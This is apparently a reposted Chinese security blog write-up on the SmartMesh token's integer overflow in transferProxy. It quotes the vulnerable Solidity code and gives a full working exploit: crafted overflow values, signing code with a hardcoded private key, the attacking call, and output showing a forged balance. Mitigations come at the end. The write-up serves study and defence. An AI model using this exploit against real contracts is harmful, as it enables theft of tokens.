【区块链回归技术】 eth智能合约安全整形溢出漏洞

admin 2022年7月25日04:42:16评论8 views字数 4231阅读14分6秒阅读模式

原理

eth智能合约整数溢出漏洞, 原理是uint256类型当取最大整数值,上溢之后直接回绕返回值为0 , 当取0下溢之后直接回绕,返回值为 2^256-1,这是 solidity中整数溢出场景的常规情况。智能合约可参看:

https://github.com/jige003/blockchainsec/blob/master/eth/overflow_vul/overflow.sol

回顾 smt 整数溢出漏洞

合约代码:

https://github.com/jige003/blockchainsec/blob/master/eth/overflow_vul/smtvul.sol

  1. /*

  2.     * Proxy transfer SmartMesh token. When some users of the ethereum account has no ether,

  3.     * he or she can authorize the agent for broadcast transactions, and agents may charge agency fees

  4.     * @param _from

  5.     * @param _to

  6.     * @param _value

  7.     * @param feeSmt

  8.     * @param _v

  9.     * @param _r

  10.     * @param _s

  11.     */

  12.    function transferProxy(address _from, address _to, uint256 _value, uint256 _feeSmt,

  13.        uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){

  14.        if(balances[_from] < _feeSmt + _value) revert(); //  此处存在上溢的漏洞, 构造_feeSmt 、 _value 可以绕过

  15.        uint256 nonce = nonces[_from];

  16.        bytes32 h = keccak256(_from,_to,_value,_feeSmt,nonce);

  17.        if(_from != ecrecover(h,_v,_r,_s)) revert();

  18.        if(balances[_to] + _value < balances[_to]

  19.            || balances[msg.sender] + _feeSmt < balances[msg.sender]) revert();

  20.        balances[_to] += _value;

  21.        Transfer(_from, _to, _value);

  22.        balances[msg.sender] += _feeSmt;

  23.        Transfer(_from, msg.sender, _feeSmt);

  24.        balances[_from] -= _value + _feeSmt;

  25.        nonces[_from] = nonce + 1;

  26.        return true;

  27.    }

exp smt上溢漏洞

查看存在漏洞的函数transferProxy 还需要对转账人对这笔交易执行签名, 校验签名的代码如下:

  1. uint256 nonce = nonces[_from]; // 获取随机数

  2. bytes32 h = keccak256(_from,_to,_value,_feeSmt,nonce); // 交易消息摘要生成

  3. if(_from != ecrecover(h,_v,_r,_s)) revert(); //使用ecrecover 校验签名是否属于转账人

使用ganache-cli 搭建eth私链并部署合约, 并使用web3 部署合约, 可参考此脚本 :

https://github.com/jige003/blockchainsec/blob/master/eth/overflow_vul/deploy.js

部署合约后需要记下合约地址,value和feeSmt参数直接复制黑客攻击成功的,参考tx链接:

https://etherscan.io/tx/0x1abab4c8db9a30e703114528e31dee129a3a758f7f8abc3b6494aad3d304e43f 设置value 为:0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 设置feeSmt 为:0x7000000000000000000000000000000000000000000000000000000000000001

使用web3和ethereumjs-util的web3.utils.soliditySha3 消息摘要函数、 ethereumjs-util.ecsign 签名函数生成剩余的参数, 代码如下:

  1. var from = "0x4a886b8a93b07794275fb5b5eaf18e49f7b2c24b";

  2. console.log("address: " + from);

  3. var value = "0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff";

  4. console.log("value: " + value);

  5. var fee = "0x7000000000000000000000000000000000000000000000000000000000000001";

  6. console.log("fee: " + fee);

  7. var hash = web3.utils.soliditySha3(from, from, value, fee, 0);

  8. console.log("Tx hash: " + hash);

  9. var prikey = "0xce0ed217ee599c46a3a850cbaccfbff749771cfccb4577cc943bc9bbed703b3c";

  10. var sig = ethUtils.ecsign(ethUtils.toBuffer(hash), ethUtils.toBuffer(prikey));

  11. var r = "0x" + sig.r.toString('hex');

  12. var s = "0x" + sig.s.toString('hex');

  13. var v = sig.v;

  14. console.log("v: " + v);

  15. console.log("r: " + r);

  16. console.log("s: " + s);

最后调用合约的transferProxy函数exp此合约, exp之前账户地址为0, exp后65133050195990359925758679067386948167464366374422817272194891004451135422463

  1. contract.methods.balanceOf(from).call().then(function( result){

  2.    console.log("before exp the addr " + from + " has " + result + " token");

  3. });

  4. contract.methods.transferProxy(from , from, value, fee, v, r, s).send({from: faddr, gasPrice: 72, gas: 209255});

  5. contract.methods.balanceOf(from).call().then(function( result){

  6.    console.log("after exp the addr " + from + " has " + result + " token");

  7. });

exp log 如下

  1. address: 0x4a886b8a93b07794275fb5b5eaf18e49f7b2c24b

  2. value: 0x8fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

  3. fee: 0x7000000000000000000000000000000000000000000000000000000000000001

  4. Tx hash: 0xd6b72019dc1b6daf2eb80e22333098028fc5f3d6c8be43e41e86c9bfbc36ecab

  5. v: 28

  6. r: 0x98ea373fb39f352e6a0337e41f8b8f90a0b6197241e3479c5098c9901c3c9dc3

  7. s: 0x16870e9632e8a22f72f37a3ae36a45851e725d02d927f92bd499022d9a0ce4a9

  8. before exp the addr 0x4a886b8a93b07794275fb5b5eaf18e49f7b2c24b has 0 token

  9. after exp the addr 0x4a886b8a93b07794275fb5b5eaf18e49f7b2c24b has 65133050195990359925758679067386948167464366374422817272194891004451135422463 token

完整的exp测试代码链接:

https://github.com/jige003/blockchainsec/blob/master/eth/overflow_vul/expvul.js

漏洞防范

  • 使用safemath 库执行基本运算

  • 使用assert、 require执行校验

  • 代码review

参考链接

https://ethereumdev.io/safemath-protect-overflows/ https://web3js.readthedocs.io/en/1.0/getting-started.html http://www.freebuf.com/vuls/169741.html https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d https://github.com/ethereum/solidity/issues/796#issuecomment-253578925


原文始发于微信公众号(毕方安全实验室):【区块链回归技术】 eth智能合约安全整形溢出漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月25日04:42:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【区块链回归技术】 eth智能合约安全整形溢出漏洞http://cn-sec.com/archives/901477.html

发表评论

匿名网友 填写信息